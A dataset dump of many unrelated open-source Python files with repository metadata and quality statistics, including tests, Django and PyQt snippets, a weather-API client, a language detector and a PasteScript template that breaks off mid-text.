0.111111

false

0

0.111111

0.888889

0

null

0

null

0

1

0

1

9f10e94c964ce66f7a8b92cc263cc90bcb46f403

400

py

Python

test/pypendency/test_parser.py

Taschenbergerm/pypendency

d941f584cabd0e6acc56ec3df43be174198ae4b7

[ "Apache-2.0" ]

null

test/pypendency/test_parser.py

Taschenbergerm/pypendency

d941f584cabd0e6acc56ec3df43be174198ae4b7

[ "Apache-2.0" ]

1

2021-06-23T15:05:40.000Z

test/pypendency/test_parser.py

Taschenbergerm/pypendency

d941f584cabd0e6acc56ec3df43be174198ae4b7

[ "Apache-2.0" ]

null

import pathlib import pytest from pypendency.parser.yaml import Parser from pypendency.lexer import LarkRelationLexer def test_read_yaml_node_length(): file = pathlib.Path(__file__).parent / "example.yml" lexer = LarkRelationLexer() p = Parser(lexer=lexer, folder=pathlib.Path(__file__).parent) g = p.parse("example.yml") length = len(g.nodes) pytest.assume(length == 4)

23.529412

65

0.73

52

400

5.384615

0.519231

0.1

0.107143

0.15

0

0.002976

0.16

400

16

66

25

0.830357

0

0.055138

0

1

0.090909

false

0

0.363636

0

0.454545

0

null

0

null

0

1

0

1

9f1a77ebd61987c0e53368471dad9d42d5b2f750

548

py

Python

mtianyan/listname.py

mtianyan/mtianyan

6c8f3d2076da4f472f6734714f1352ffaa5264b1

[ "Apache-2.0" ]

null

mtianyan/listname.py

mtianyan/mtianyan

6c8f3d2076da4f472f6734714f1352ffaa5264b1

[ "Apache-2.0" ]

null

mtianyan/listname.py

mtianyan/mtianyan

6c8f3d2076da4f472f6734714f1352ffaa5264b1

[ "Apache-2.0" ]

4

2020-11-29T14:25:39.000Z

2021-04-05T07:17:56.000Z

import os.path filepathlist=[] filenamelist=[] def processDirectory ( args, dirname, filenames ): for filename in filenames: file_path=os.path.join(dirname,filename) if os.path.isfile(file_path): filepathlist.append(file_path) filenamelist.append(filename) def getpatch(path): os.path.walk(r'%s'%path, processDirectory, None ) return filepathlist getpatch('H:\CodePath\NoteBook\uber_input') fw = open('data_list.txt','w') for item in filenamelist: fw.write(item+'\n')

28.842105

54

0.662409

67

548

5.343284

0.567164

0.067039

0.055866

0

0.213504

548

18

55

30.444444

0.830626

0

0.092453

0.058491

0

null

0

0.0625

null

0

null

0

null

0

1

0

1

9f1c5fd349b7d26a420b931b4c0db17b38bcc27d

647

py

Python

test/lit/memberfield/__init__.py

sivachandra/gala

6d7e5fd3cf3c319062a3985dbffd791944e180e9

[ "Apache-2.0" ]

4

2016-07-16T01:35:30.000Z

2020-06-18T05:37:33.000Z

test/lit/memberfield/__init__.py

sivachandra/gala

6d7e5fd3cf3c319062a3985dbffd791944e180e9

[ "Apache-2.0" ]

7

2015-06-26T19:24:30.000Z

2015-08-18T18:16:11.000Z

test/lit/memberfield/__init__.py

sivachandra/gala

6d7e5fd3cf3c319062a3985dbffd791944e180e9

[ "Apache-2.0" ]

null

import gdb def print_field(f): print("========") print("name: %s" % f.name) print("type: %s" % f.type) if hasattr(f, "bitpos"): print("bitpos: %d" % f.bitpos) else: print("No bitpos attribute.") print("bitsize: %d" % f.bitsize) print("parent_type: %s" % f.parent_type) print("is_base_class: %s" % f.is_base_class) print("artificial: %s" % f.artificial) if hasattr(f, "enumval"): print("enumval: %d" % f.enumval) else: print("No enumval attribute.") derived = gdb.lookup_type("Derived") for f in derived.fields(): print_field(f) enum = gdb.lookup_type("EnumType") for f in enum.fields(): print_field(f)

23.962963

46

0.630603

97

647

4.092784

0.309278

0.025189

0.083123

0.085642

0

0.173107

647

26

47

24.884615

0.742056

0

0.173913

0

0.264297

0

1

0.043478

false

0

0.043478

0

0.086957

0.608696

0

null

0

null

0

1

0

1

9f3b23013912e3d6b5ff12494cd3c60f642390af

316

py

Python

Aula07/03EstruturaDeRepeticaoFor.py

gutoffline/curso-python-2021

4a9a5f11188ad734402d1dafa7ea627179e7079b

[ "MIT" ]

null

Aula07/03EstruturaDeRepeticaoFor.py

gutoffline/curso-python-2021

4a9a5f11188ad734402d1dafa7ea627179e7079b

[ "MIT" ]

null

Aula07/03EstruturaDeRepeticaoFor.py

gutoffline/curso-python-2021

4a9a5f11188ad734402d1dafa7ea627179e7079b

[ "MIT" ]

null

""" for x in range(10): print(x) for x in range(20, 30): print(x) for x in range(10,100,5): print(x) for x in range(10,1,-1): print(x) print(range(10)) """ frutas = ["maçã", "laranja", "banana", "morango"] for x in range(len(frutas)): print(frutas[x]) for fruta in frutas: print(fruta)

13.73913

49

0.582278

56

316

3.285714

0.321429

0.108696

0.163043

0.298913

0.369565

0.298913

0.206522

0

0.073171

0.221519

316

22

50

14.363636

0.674797

0.528481

0

0.171429

0

1

0

false

0

0.4

0

null

0

1

0

null

0

1

9f4fb4aa07286decc81511426c6486ee3fe2e5ca

4,704

py

Python

datagokr/kma/VilageFcstInfoService_2_0.py

uujei/datagokr

308f5151f819010f2c4e174a6ef84d83d3bea922

[ "MIT" ]

null

datagokr/kma/VilageFcstInfoService_2_0.py

uujei/datagokr

308f5151f819010f2c4e174a6ef84d83d3bea922

[ "MIT" ]

null

datagokr/kma/VilageFcstInfoService_2_0.py

uujei/datagokr

308f5151f819010f2c4e174a6ef84d83d3bea922

[ "MIT" ]

null

import logging import os from datetime import datetime from enum import Enum from typing import Optional from pydantic import BaseModel, Field, HttpUrl, SecretStr, ValidationError from ..DataGoKr import DataGoKr # logging logger = logging.getLogger(__file__) # debug only KMA_API_KEY = os.getenv("KMA_API_KEY") ################################################################################ # Types ################################################################################ # (Type) class DataType(str, Enum): # Only JSON Available yet json = "JSON" # (Type) class VilageFcstVersionFtype(str, Enum): ODAM = "ODAM" VSRT = "VSRT" SHRT = "SHRT" ################################################################################ # [Abstract] Abstract for VilageFcst ################################################################################ class VilageFcstInfo(DataGoKr): __version__ = "2.0" baseUrl: HttpUrl = "http://apis.data.go.kr/1360000/VilageFcstInfoService_2.0" dataType: Optional[DataType] = "JSON" # Only JSON available yet. serviceKey: str = KMA_API_KEY ################################################################################ # [API] 초단기 실황 UltraSrtNcst ################################################################################ # Output Model class UltraSrtNcstModel(BaseModel): baseDate: str baseTime: str T1H: Optional[float] # 10 decimal RN1: Optional[str] # 8 code UUU: Optional[float] # 12 float VVV: Optional[float] # 12 float REH: Optional[int] # 8 int PTY: Optional[int] # 4 code VEC: Optional[float] # 10 decimal WSD: Optional[float] # 10 decimal # API class UltraSrtNcst(VilageFcstInfo): __RecordModel__ = UltraSrtNcstModel __index_names__ = None __key_name__ = "category" __value_name__ = "obsrValue" route: str = "getUltraSrtNcst" base_date: str = datetime.now().strftime("%Y%m%d") base_time: str = "0500" nx: int = 64 ny: int = 118 ################################################################################ # [API] 초단기 예보 UltraSrtFcst ################################################################################ # Output Model class UltraSrtFcstModel(BaseModel): baseDate: str baseTime: str fcstDate: str fcstTime: str T1H: Optional[float] # 10 decimal RN1: Optional[str] # 8 code SKY: Optional[int] # 4 code UUU: Optional[float] # 12 float VVV: Optional[float] # 12 float REH: Optional[int] # 8 int PTY: Optional[int] # 4 code LGT: Optional[str] # 4 code VEC: Optional[float] # 10 decimal WSD: Optional[float] # 10 decimal # API class UltraSrtFcst(VilageFcstInfo): __RecordModel__ = UltraSrtFcstModel __index_names__ = ["fcstDate", "fcstTime"] __key_name__ = "category" __value_name__ = "fcstValue" route: str = "getUltraSrtFcst" base_date: str = datetime.now().strftime("%Y%m%d") base_time: str = "0500" nx: int = 64 ny: int = 118 ################################################################################ # [API] 단기 예보 VilageFcst ################################################################################ # Output Model class VilageFcstModel(BaseModel): baseDate: str baseTime: str fcstDate: str fcstTime: str POP: Optional[int] # 8 int PTY: Optional[int] # 4 code PCP: Optional[str] # 8 code REH: Optional[int] # 8 int SNO: Optional[str] # 8 code SKY: Optional[int] # 4 code TMP: Optional[float] # 10 decimal TMN: Optional[float] # 10 decimal TMX: Optional[float] # 10 decimal UUU: Optional[float] # 12 float VVV: Optional[float] # 12 float WAV: Optional[float] # 8 int VEC: Optional[float] # 10 decimal WSD: Optional[float] # 10 decimal # API class VilageFcst(VilageFcstInfo): __RecordModel__ = VilageFcstModel __index_names__ = ["fcstDate", "fcstTime"] __key_name__ = "category" __value_name__ = "fcstValue" route: str = "getVilageFcst" base_date: str = datetime.now().strftime("%Y%m%d") base_time: str = "0500" nx: int = 64 ny: int = 118 ################################################################################ # [API] 단기예보 수치모델 버전 ################################################################################ # Output Model class VilageFcstVersion(BaseModel): filetype: VilageFcstVersionFtype version: str # API class VilageFcstVersion(VilageFcstInfo): __RecordModel__ = VilageFcstVersion route: str = "getFcstVersion" ftype: VilageFcstVersionFtype = "ODAM" basedatetime: str = datetime.now().strftime("%Y%m%d0800")

28.682927

81

0.528699

453

4,704

5.309051

0.280353

0.097297

0.068607

0.100624

0.458212

0.429106

0.419127

0.341372

0

0.024707

0.182611

4,704

163

82

28.858896

0.60078

0.119048

0

0.514563

0

0.087512

0

1

0

false

0

0.067961

0

0.980583

0

null

0

null

0

1

0

1

9f513a1848907a84153b93f6379a41b3912f5550

1,807

py

Python

test_hig.py

xiaohan2012/lst

793944d1dd8235adbe2f651270ab12e46ff8f6f7

[ "MIT" ]

1

2016-07-05T13:10:27.000Z

test_hig.py

xiaohan2012/lst

793944d1dd8235adbe2f651270ab12e46ff8f6f7

[ "MIT" ]

null

test_hig.py

xiaohan2012/lst

793944d1dd8235adbe2f651270ab12e46ff8f6f7

[ "MIT" ]

null

import unittest import networkx as nx from nose.tools import assert_equal, assert_raises, \ assert_true from .util import json_load from .test_util import make_path from hig import construct_hig_from_interactions from interactions import InteractionsUtil as IU class HIGTest(unittest.TestCase): def setUp(self): self.interactions = IU.clean_interactions( json_load( make_path('test/data/enron_test.json') ) ) def test_construct_hig(self): hig = construct_hig_from_interactions( self.interactions ) a, b, c, d, e, f = ('A', 'B', 'C', 'D', 'E', 'F') assert_equal( sorted( range(1, 7) + [a, b, c, d, e, f, 'XXX'] ), sorted(hig.nodes())) print hig.edges() assert_equal( sorted( [(a, 1), (1, b), (1, c), (1, d), (a, 2), (2, f), (d, 3), (3, e), (a, 4), (4, b), (d, 5), (5, f), (6, u'XXX'), (u'XXX', 6) ]), sorted(hig.edges()) ) def test_construct_hig_interacting_ids(self): self.interactions.append({'sender_id': 1, 'recipient_ids': [1], 'message_id': 7}) assert_raises(ValueError, construct_hig_from_interactions, self.interactions) def test_pagerank_on_hig(self): pr = nx.pagerank( construct_hig_from_interactions(self.interactions) ) assert_true(pr['A'] < pr['F']) assert_true(pr['A'] < pr['B']) assert_true(pr['A'] < pr['C']) assert_true(pr['A'] < pr['D'])

30.116667

62

0.484781

207

1,807

4.033816

0.304348

0.086228

0.076647

0.134132

0.251497

0.179641

0

0.017056

0.383509

1,807

59

63

30.627119

0.732496

0

0.075472

0

0.044272

0.013835

0

0.169811

0

null

0

0.132075

null

0.018868

0

null

0

null

0

1

0

1

9f5b476a26d33e866185f1fc2f1015578a813124

593

py

Python

base/shortener/admin.py

elijah74/django-url-shortener

8934b46539748957b4be46945bea159640911434

[ "BSD-3-Clause" ]

null

base/shortener/admin.py

elijah74/django-url-shortener

8934b46539748957b4be46945bea159640911434

[ "BSD-3-Clause" ]

null

base/shortener/admin.py

elijah74/django-url-shortener

8934b46539748957b4be46945bea159640911434

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.contrib import admin from .models import Shortener @admin.register(Shortener) class ShortenerAdmin(admin.ModelAdmin): list_display = ('id', 'short_url', 'link_url', 'status', 'created') fields = ('short_url', 'link_url', 'status', 'created', 'modified') readonly_fields = ('short_url', 'created', 'modified') def save_formset(self, request, form, formset, change): instances = formset.save(commit=False) instances.link_url = instances.link_url.rstrip() formset.save_m2m()

31.210526

71

0.693086

70

593

5.642857

0.571429

0.070886

0.060759

0.075949

0.141772

0

0.004032

0.163575

593

18

72

32.944444

0.792339

0.035413

0

0.164912

0

1

0.083333

false

0

0.25

0

0.666667

0

null

0

null

0

1

0

1

9f6fd9b78959476700ebfd2a923895af3dc7f59d

250

py

Python

gui/examples/hello_0.py

t20100/silx-training

409656479c7fdc9f1e895c6f3f0530c7eb89cbc1

[ "CC-BY-4.0" ]

7

2017-05-02T10:03:12.000Z

2021-06-28T14:11:32.000Z

gui/examples/hello_0.py

t20100/silx-training

409656479c7fdc9f1e895c6f3f0530c7eb89cbc1

[ "CC-BY-4.0" ]

23

2016-11-21T17:55:11.000Z

2021-11-24T13:43:13.000Z

gui/examples/hello_0.py

t20100/silx-training

409656479c7fdc9f1e895c6f3f0530c7eb89cbc1

[ "CC-BY-4.0" ]

13

2016-11-17T10:47:22.000Z

2022-02-07T09:38:47.000Z

from PyQt5.QtWidgets import QApplication, QLabel, QMainWindow app = QApplication([]) main_window = QMainWindow() first_widget = QLabel('hello world !!!', parent=main_window) main_window.setCentralWidget(first_widget) main_window.show() app.exec_()

25

61

0.788

30

250

6.333333

0.6

0.210526

0

0.004405

0.092

250

10

62

25

0.832599

0

0.059761

0

1

0

false

0

0.142857

0

0.142857

0

null

1

0

null

0

1

9f7018c0a4594a3537d02ec23d95b4ae17544c4d

1,101

py

Python

kolibri/logger/test/factory_logger.py

aronasorman/kolibri

940672bc849cd0b26d7d84ee08a34f072c4f6cd6

[ "MIT" ]

null

kolibri/logger/test/factory_logger.py

aronasorman/kolibri

940672bc849cd0b26d7d84ee08a34f072c4f6cd6

[ "MIT" ]

2

2017-02-08T00:22:04.000Z

2017-06-12T20:27:44.000Z

kolibri/logger/test/factory_logger.py

aronasorman/kolibri

940672bc849cd0b26d7d84ee08a34f072c4f6cd6

[ "MIT" ]

null

import datetime import factory import uuid from kolibri.auth.test.test_api import FacilityUserFactory from .. import models class ContentSessionLogFactory(factory.DjangoModelFactory): class Meta: model = models.ContentSessionLog user = factory.SubFactory(FacilityUserFactory) content_id = uuid.uuid4().hex channel_id = uuid.uuid4().hex start_timestamp = datetime.datetime.now() class ContentSummaryLogFactory(factory.DjangoModelFactory): class Meta: model = models.ContentSummaryLog user = factory.SubFactory(FacilityUserFactory) content_id = uuid.uuid4().hex channel_id = uuid.uuid4().hex start_timestamp = datetime.datetime.now() class ContentRatingLogFactory(factory.DjangoModelFactory): class Meta: model = models.ContentRatingLog user = factory.SubFactory(FacilityUserFactory) content_id = uuid.uuid4().hex channel_id = uuid.uuid4().hex class UserSessionLogFactory(factory.DjangoModelFactory): class Meta: model = models.UserSessionLog user = factory.SubFactory(FacilityUserFactory)

23.425532

59

0.745686

109

1,101

7.449541

0.302752

0.044335

0.081281

0.103448

0.618227

0.396552

0

0.006593

0.173479

1,101

46

60

23.934783

0.885714

0

0.551724

0

1

0

false

0

0.172414

0

0.862069

0

null

0

null

0

1

0

1

9f71a197572466c48094262987b091e399a3df17

237

py

Python

lists/urls.py

Tawakalt/todo_list

184293acf62771f60c6fdc46271634ae89684775

[ "MIT" ]

null

lists/urls.py

Tawakalt/todo_list

184293acf62771f60c6fdc46271634ae89684775

[ "MIT" ]

5

2020-06-06T01:03:12.000Z

2022-02-10T10:01:49.000Z

lists/urls.py

Tawakalt/todo_list

184293acf62771f60c6fdc46271634ae89684775

[ "MIT" ]

1

2020-01-20T12:44:56.000Z

from django.urls import path from . import views urlpatterns = [ path('new', views.new_list, name='new_list'), path('<list_id>/', views.view_list, name='view_list'), path('users/<email>/', views.my_lists, name='my_lists'), ]

29.625

60

0.670886

35

237

4.342857

0.457143

0.092105

0

0.139241

237

8

61

29.625

0.745098

0

0.218487

0

1

0

false

0

0.285714

0

0.285714

0

null

0

1

0

null

0

1

9f7961daf22e80aa849ae0a67694bcc8b1f9979d

348

py

Python

setup.py

anthonyvallee/bettejpeg

eaa809f4d07d85274cd4ee4671352ff069f94307

[ "Apache-2.0" ]

1

2020-03-29T13:12:32.000Z

setup.py

anthonyvallee/bettejpeg

eaa809f4d07d85274cd4ee4671352ff069f94307

[ "Apache-2.0" ]

2

2016-10-23T21:15:52.000Z

2016-12-08T07:25:07.000Z

setup.py

RentAPlace/python-betterjpeg

eaa809f4d07d85274cd4ee4671352ff069f94307

[ "Apache-2.0" ]

null

from setuptools import (find_packages, setup) from rap import betterjpeg setup( name=betterjpeg.__pkgname__, description=betterjpeg.__description__, version=betterjpeg.__version__, packages=["rap.betterjpeg"], entry_points=""" [console_scripts] betterjpeg=rap.betterjpeg.betterjpeg:cli """ )

23.2

49

0.686782

32

348

7

0.53125

0.116071

0

0.215517

348

14

50

24.857143

0.820513

0

0.281437

0.11976

0

1

0

true

0

0.166667

0

0.166667

0

null

0

null

0

1

0

1

9f9602b2224dec858d62feca228f9bec5c6a8d6a

2,320

py

Python

tensorflow_transform/beam/tft_beam_io/beam_metadata_io_test.py

sswapnil2/transform

54561ddb357ef752153dd569aad7cc2651b38ac2

[ "Apache-2.0" ]

null

tensorflow_transform/beam/tft_beam_io/beam_metadata_io_test.py

sswapnil2/transform

54561ddb357ef752153dd569aad7cc2651b38ac2

[ "Apache-2.0" ]

null

tensorflow_transform/beam/tft_beam_io/beam_metadata_io_test.py

sswapnil2/transform

54561ddb357ef752153dd569aad7cc2651b38ac2

[ "Apache-2.0" ]

1

2020-04-07T23:48:26.000Z

# Copyright 2017 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for beam_metadata_io.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function # GOOGLE-INITIALIZATION import apache_beam as beam from tensorflow_transform.beam.tft_beam_io import beam_metadata_io from tensorflow_transform.beam.tft_beam_io import test_metadata from tensorflow_transform.tf_metadata import metadata_io import unittest from tensorflow.python.framework import test_util class BeamMetadataIoTest(test_util.TensorFlowTestCase): def testWriteMetadataNonDeferred(self): # Write metadata to disk using WriteMetadata PTransform. with beam.Pipeline() as pipeline: path = self.get_temp_dir() _ = (test_metadata.COMPLETE_METADATA | beam_metadata_io.WriteMetadata(path, pipeline)) # Load from disk and check that it is as expected. metadata = metadata_io.read_metadata(path) self.assertEqual(metadata, test_metadata.COMPLETE_METADATA) def testWriteMetadataDeferred(self): # Write metadata to disk using WriteMetadata PTransform, combining # incomplete metadata with (deferred) complete metadata. with beam.Pipeline() as pipeline: path = self.get_temp_dir() deferred_metadata = pipeline | 'CreateDeferredMetadata' >> beam.Create( [test_metadata.COMPLETE_METADATA]) metadata = beam_metadata_io.BeamDatasetMetadata( test_metadata.INCOMPLETE_METADATA, deferred_metadata) _ = metadata | beam_metadata_io.WriteMetadata(path, pipeline) # Load from disk and check that it is as expected. metadata = metadata_io.read_metadata(path) self.assertEqual(metadata, test_metadata.COMPLETE_METADATA) if __name__ == '__main__': unittest.main()

36.825397

77

0.771983

298

2,320

5.785235

0.40604

0.046404

0.040603

0.064965

0.37819

0.356148

0.24826

0

0.004117

0.1625

2,320

62

78

37.419355

0.88317

0.384914

0

0.275862

0

0.021383

0.015681

0

0.068966

1

0.068966

false

0

0.310345

0

0.413793

0.034483

0

null

0

null

0

1

0

1

9f9abf9bd659e3c5cd886d27c3067e12da0ea781

490

py

Python

src/basic/check_type.py

xxzhwx/hello-python

83bb01c146049d3c7f7fa9ed007abee054d004ef

[ "MIT" ]

null

src/basic/check_type.py

xxzhwx/hello-python

83bb01c146049d3c7f7fa9ed007abee054d004ef

[ "MIT" ]

null

src/basic/check_type.py

xxzhwx/hello-python

83bb01c146049d3c7f7fa9ed007abee054d004ef

[ "MIT" ]

null

# -*- coding: utf-8 -*- ''' @author: xxzhwx ''' from types import IntType def is_int_type(num): # 对象身份比较 if type(num) is IntType: return True return False def is_int_typeX(num): if isinstance(num, int): return True # if type(num) is int: # return True return False # Usage print(is_int_type(1)) print(is_int_type(1.0)) print(is_int_type('')) print(is_int_typeX(1)) print(is_int_typeX(1.0)) print(is_int_typeX(''))

15.3125

28

0.606122

75

490

3.746667

0.333333

0.160142

0.213523

0.149466

0.298932

0

0.019231

0.257143

490

32

29

15.3125

0.752747

0.195918

0

0.266667

0

1

0.133333

false

0

0.066667

0

0.466667

0.4

0

null

0

1

0

null

0

1

9fa5fa2df40b29c75a161e9790ab053c973c7300

3,569

py

Python

langsense/core.py

sneub/langsense

7e194582f19bbd2b7c93f8a1ef5d96d4d9f5ae73

[ "Apache-2.0" ]

null

langsense/core.py

sneub/langsense

7e194582f19bbd2b7c93f8a1ef5d96d4d9f5ae73

[ "Apache-2.0" ]

null

langsense/core.py

sneub/langsense

7e194582f19bbd2b7c93f8a1ef5d96d4d9f5ae73

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- from . import ruleset import re import operator class LangSense(object): def detect(self, string, country_hint=None): if type(string) == str: text = string.decode('utf-8').lower() else: text = string.lower() shortlist_char = self._char_shortlist(text) shortlist_rules = self._rule_shortlist(text) shortlist_words = self._word_shortlist(text) shortlist_segments = self._segment_shortlist(text) result = {l: 0 for l in ruleset.RuleSet.language_list} for l in ruleset.RuleSet.language_list: try: result[l] += (shortlist_char[l] * ruleset.RuleSet.score_weights['char']) except Exception, _: pass try: result[l] += (shortlist_rules[l] * ruleset.RuleSet.score_weights['rule']) except Exception, _: pass try: result[l] += (shortlist_words[l] * ruleset.RuleSet.score_weights['word']) except Exception, _: pass try: result[l] += (shortlist_segments[l] * ruleset.RuleSet.score_weights['segment']) except Exception, _: pass sum_scores = sum([v for _, v in result.iteritems()]) result = {k: float(v)/sum_scores for k, v in result.iteritems() if v > 0} if country_hint: country_hint = country_hint.decode('utf-8').upper() lang = ruleset.RuleSet.country_langs[country_hint] if lang in result: result[lang] *= ruleset.RuleSet.score_weights['hint'] result = list(reversed(sorted(result.items(), key=operator.itemgetter(1)))) return result def _char_shortlist(self, string): lang_shortlist = [] for c in string: lang_shortlist = lang_shortlist + [(c, l) for (l, a) in ruleset.RuleSet.alphabets.iteritems() if c in a] langs = set([i[1] for i in lang_shortlist]) master_langs = [] bad_langs = [] scores = {l: len(string) for l in langs} for l in langs: for c, _ in lang_shortlist: if c not in ruleset.RuleSet.alphabets[l]: bad_langs.append(l) scores[l] -= 1 master_langs.append(l) scores = {k: s/len(string) for k, s in scores.iteritems()} return {k: v for k, v in scores.iteritems() if v > 0} def _rule_shortlist(self, string): lang_shortlist = [] scores = {} for lang, rules in ruleset.RuleSet.word_rules.iteritems(): for rule in rules: if re.search(rule, string): lang_shortlist.append(lang) if lang in scores: scores[lang] += 1 else: scores[lang] = 1 return {k: scores[k] for k in list(set(lang_shortlist))} def _segment_shortlist(self, string): lang_shortlist = [] scores = {} for lang, segments in ruleset.RuleSet.word_segments.iteritems(): for segment in segments: if re.search(r'\w'+ segment + r'\b', string) or re.search(r'\b'+ segment + r'\w', string) or re.search(r'\w'+ segment + r'\w', string): lang_shortlist.append(lang) if lang in scores: scores[lang] += 1 else: scores[lang] = 1 return {k: scores[k] for k in list(set(lang_shortlist))} def _word_shortlist(self, string): lang_shortlist = [] scores = {} for lang, words in ruleset.RuleSet.words.iteritems(): for word in words: if re.search(r'\b'+ word + r'\b', string): lang_shortlist.append(lang) if lang in scores: scores[lang] += 1 else: scores[lang] = 1 return {k: scores[k] for k in list(set(lang_shortlist))}

27.666667

143

0.609695

478

3,569

4.416318

0.16318

0.086215

0.072004

0.061582

0.413074

0.32307

0.306016

0.221696

0.157745

0

0.005712

0.26422

3,569

128

144

27.882813

0.798172

0.005884

0

0.413043

0

0.013818

0

null

0.043478

0.032609

null

0

null

0

null

0

1

0

1

9fa815038e88bc8c7182ffc9b58dd48bcbb7159c

329

py

Python

src/testMultiRootWkspc/workspace5/remoteDebugger-start.py

ChaseKnowlden/vscode-jupyter

9bdaf87f0b6dcd717c508e9023350499a6093f97

[ "MIT" ]

2,461

2016-01-21T16:40:43.000Z

2022-03-31T12:01:55.000Z

src/testMultiRootWkspc/workspace5/remoteDebugger-start.py

ChaseKnowlden/vscode-jupyter

9bdaf87f0b6dcd717c508e9023350499a6093f97

[ "MIT" ]

12,536

2019-05-06T21:26:14.000Z

2022-03-31T23:06:48.000Z

src/testMultiRootWkspc/workspace5/remoteDebugger-start.py

vasili8m/vscode-python

846eee870e8b7bab38172600836faedb5fb80166

[ "MIT" ]

871

2019-05-15T13:43:55.000Z

2022-03-31T03:04:35.000Z

import sys import time def main(): sys.stdout.write('this is stdout') sys.stdout.flush() sys.stderr.write('this is stderr') sys.stderr.flush() # Give the debugger some time to add a breakpoint. time.sleep(5) for i in range(1): time.sleep(0.5) pass print('this is print') main()

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9fa8a760a99df59cb027859fabf342dae3bf5734

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py

Python

rbb_tools/src/rbb_tools/simenvs/test.py

SK4P3/rbb_core

618617270314af5335de30179072244e1f440c4c

[ "MIT" ]

55

2019-05-09T06:43:05.000Z

2021-12-08T05:56:43.000Z

rbb_tools/src/rbb_tools/simenvs/test.py

SK4P3/rbb_core

618617270314af5335de30179072244e1f440c4c

[ "MIT" ]

5

2019-09-08T15:33:28.000Z

2021-04-17T17:30:53.000Z

rbb_tools/src/rbb_tools/simenvs/test.py

SK4P3/rbb_core

618617270314af5335de30179072244e1f440c4c

[ "MIT" ]

16

2019-08-08T07:15:35.000Z

2021-12-07T15:34:41.000Z

# AMZ-Driverless # Copyright (c) 2019 Authors: # - Huub Hendrikx <hhendrik@ethz.ch> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import logging import yaml from rbb_tools.simenvs.environment import SimulationEnvironment class TestSimulationEnvironment(SimulationEnvironment): def __init__(self, env_config, sim_config, output_dir, tmp_dir): super(TestSimulationEnvironment, self).__init__(env_config, sim_config, output_dir, tmp_dir) self._fail = True if 'fail' in sim_config: self._fail = sim_config["fail"] def prepare(self): logging.info("TestSimulationEnvironment.prepare()") return True def simulate(self): logging.info("TestSimulationEnvironment.simulate()") output_file = { 'title': "TestSimulationEnvironment", 'repetitions': { 'Test run 1': { 'bag': None, 'pass': True, 'duration': 1.0, 'results': {"some-result": "good"} }, 'Test run 2': { 'bag': 'missing-bag.bag', 'pass': not self._fail, 'duration': 1.0, 'results': {"some-result": "bad"} }, 'Test run 3': { 'bag': 'bag.bag', 'pass': True, 'duration': 1.0, 'results': {"some-result": "this one has a bag"} } } } with open(self._output_dir + "/output.yaml", 'w') as f: yaml.safe_dump(output_file, f, default_flow_style=False) with open(self._output_dir + "/bag.bag", 'w') as f: for x in range(1024): f.write("THIS IS A FAKE ROSBAG \n") return True def clean(self): logging.info("TestSimulationEnvironment.clean()") environment = TestSimulationEnvironment

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9fb1e69711f393a902cc733c79510a11dd6b8db4

7,309

py

Python

backend/venv/Lib/site-packages/github/tools/template.py

analurandis/Tur

b4b5d1230d70659be0c3f477f0baea68fc46ba39

[ "MIT" ]

null

backend/venv/Lib/site-packages/github/tools/template.py

analurandis/Tur

b4b5d1230d70659be0c3f477f0baea68fc46ba39

[ "MIT" ]

null

backend/venv/Lib/site-packages/github/tools/template.py

analurandis/Tur

b4b5d1230d70659be0c3f477f0baea68fc46ba39

[ "MIT" ]

null

""" :Description: PasteScript Template to generate a GitHub hosted python package. Let you set the package name, a one line description, the Licence (support GPL, LGPL, AGPL and BSD - GPLv3 by default) and the author name, email and organisation variables:: paster create -t gh_package <project name> .. note:: The default author name and email variables are the ones set with git-config:: git config --global user.name "Damien Lebrun" git config --global user.email dinoboff@hotmail.com The result:: <project name>/ docs/ source/ _static _templates/ conf.py index.rst src/ <package name>/ __init__.py support-files/ .gitignore bootstrap.py LICENCE MANIFEST.in pavement.py README.rst setup.cfg * <project name>/pavement.py is the paver configuration file. All the setuptools tasks are available with paver. Paver make the creation of of new task easy. See `paver documentation <http://www.blueskyonmars.com/projects/paver/>`_ for more details:: paver paverdocs * <project name>/src contain your package. * <project name>/docs/source/ will contains your documentation source. conf.py is Sphinx' configuration file. Check `Sphinx' documentation <http://sphinx.pocoo.org/>`_ for more details. .. note:: The version number, the project name and author name(s) are set in ``pavement.py`` and shared with ``docs/source/conf.py``. However licence and copyright information are hard coded into ``LICENCE``, ``pavement.py``, ``docs/source/conf`` and ``src/<package>/__init__.py``. """ from datetime import date import os from paste.script.templates import var from paste.script.templates import Template from git import Git YEAR = date.today().year LICENCE_HEADER = """%(description)s Copyright (c) %(year)s, %(author)s All rights reserved. """ GPL = """ This program is free software: you can redistribute it and/or modify it under the terms of the GNU%(gpl_type)s General Public License as published by the Free Software Foundation, either version %(gpl_version)s of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU%(gpl_type)s General Public License for more details. You should have received a copy of the GNU%(gpl_type)s General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. """ BSD = """ Redistribution and use in 